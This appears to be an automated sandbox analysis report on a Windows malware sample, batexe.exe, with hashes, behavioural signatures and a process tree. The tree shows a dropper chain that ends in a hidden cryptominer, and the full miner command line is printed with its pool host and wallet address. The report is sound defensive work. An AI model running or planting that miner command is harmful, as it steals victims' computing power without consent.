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Analysis
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max time kernel
293s -
max time network
296s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
14/02/2024, 17:16
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231215-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation b2e.exe Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation batexe.exe -
Executes dropped EXE 2 IoCs
pid Process 3244 b2e.exe 3916 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 3916 cpuminer-sse2.exe 3916 cpuminer-sse2.exe 3916 cpuminer-sse2.exe 3916 cpuminer-sse2.exe 3916 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/3216-8-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3216 wrote to memory of 3244 3216 batexe.exe 85 PID 3216 wrote to memory of 3244 3216 batexe.exe 85 PID 3216 wrote to memory of 3244 3216 batexe.exe 85 PID 3244 wrote to memory of 4724 3244 b2e.exe 86 PID 3244 wrote to memory of 4724 3244 b2e.exe 86 PID 3244 wrote to memory of 4724 3244 b2e.exe 86 PID 4724 wrote to memory of 3916 4724 cmd.exe 89 PID 4724 wrote to memory of 3916 4724 cmd.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3216 -
C:\Users\Admin\AppData\Local\Temp\5C78.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\5C78.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5C78.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3244 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\608F.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3916
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
10.5MB
MD57ce50d3755352dcd6d2e399a76f1f310
SHA1a01ed0f688b8ea3d11ff9031e0856542b8fd4bfb
SHA2561ea3248866c41776b2f0a0a46e996b2e5fd024100c744e898c39245f731d8910
SHA512918a3dea3b4660e19d69f5487a711b663947d4282e07b15645ac5e853307548100042575a6e35ddf832ee3985a4f53b176e126ce7709209625f9b37624677bb8
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Filesize
3.0MB
MD542e52d2aa6e0aa4e0a6cb435f3e72e32
SHA1904d518be9644114eda76add80ccf585ee238731
SHA2564f8c614822cb12e7405d484d8ef1c5796fe1002f4e20867e761623d6108bd5ed
SHA512c5bdbe9278322b817f6744ed51e93d2a5a32b7285a5d8506bd7d6578fd432f43caec54c5ae81074a06b8c2b4a36ad5ee4bb6e817698252ec8df1406ee68916e4
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Filesize
2.1MB
MD5099e18cf84312ee05add20eaed01b2c0
SHA13aedb8f0362d50274ec7bf1e79bbd3923b47cc13
SHA2568856beb3ce39073034ad1cd1b72251224cbe3b2861af9086947470096666312c
SHA51270c26948eecb460a2c035d8bec9f100588244a0c621fe26c13826bef00464051b54e200abfd73cb07bbe76c6c807317dc90b4974a739be718e37aa2621c134ec
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
1.9MB
MD5961cc38fbb4816d30dbaf883f44e8d61
SHA1f835395b707af685147d3f751e31477d9893a641
SHA256b3e66656c25557afc1a329d2ca5c046de269b3dda7db969a51885e68d8184d7a
SHA5125c492318d9f87bdff9020977055c167e4eef33b52fe936f481f5c37860cd2209b8c71dca000d218f7386246c40c84ba10cf120635664a69db1f8fc0c0c9d3191
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Filesize
2.0MB
MD5e3df1620f8e01b8e84cfc79017a5bd29
SHA130237ec3527e7061666552cadced20a0f9df016c
SHA256a907b4615e5ca9342487ba2644c391b82559a3cf046f6550e532196653c7b8d9
SHA5128752dcbf9141fe7b259d7a6ab55b7ead650edeeb8e4748eb06e9b6a187c5c982bc16aabe66c0ce6b664abda27ffa856114f66a110ce985ddcd4fa86e10a30db4
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
1.9MB
MD5952cf9c1c9be72c2375e13cf518f1eb8
SHA112e133ab6e333726ca2b047d8b0f44db463ff0de
SHA2561d21d4eff55eb52c29c48cbd3f68942f53b5d7f9b84cd2e5c100d2b792417c19
SHA512c4ccb8985b9a81e03624f1fc4326ed696a16418754aeb55435e98cd9ccb42b55c7207c082803da5b145fdb68108e53bd0b9946e6b8380a58e0306f79da590631
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Filesize
2.4MB
MD57a6048485b5d432fbb9b226bcc2869f0
SHA119e80e17bd0329542e975a4247613ec7241509ef
SHA25688e00a8667db6ea558c18a4c7df67f803f54cc1f81ad3927b68589500de5183a
SHA512de97a521ee42d82cb0906ef9e645d1cd27f19e0f5bfcf7ae2157ffd21d265f98e692f3c24946c05fa7014aa643e04eaa4901cb8a1e1f871e7693ba04d3c354b4
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Filesize
2.2MB
MD55c143111f4aa8ab93bd224c6dc2bf818
SHA1bf4df051203044db805306760b709be9eb52c141
SHA256276be8230c72f166e606dad066917929ed6808fc2a7672b915cdfdf75e3f7f28
SHA512258d0519e2a5db729401f3c1eac10fe96dfa8543504cabbfc2555db16bbfdce1965be976c6604cb023820bc47cf41050fbccd3d9eedd2c0943a42fd91d3874f8
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770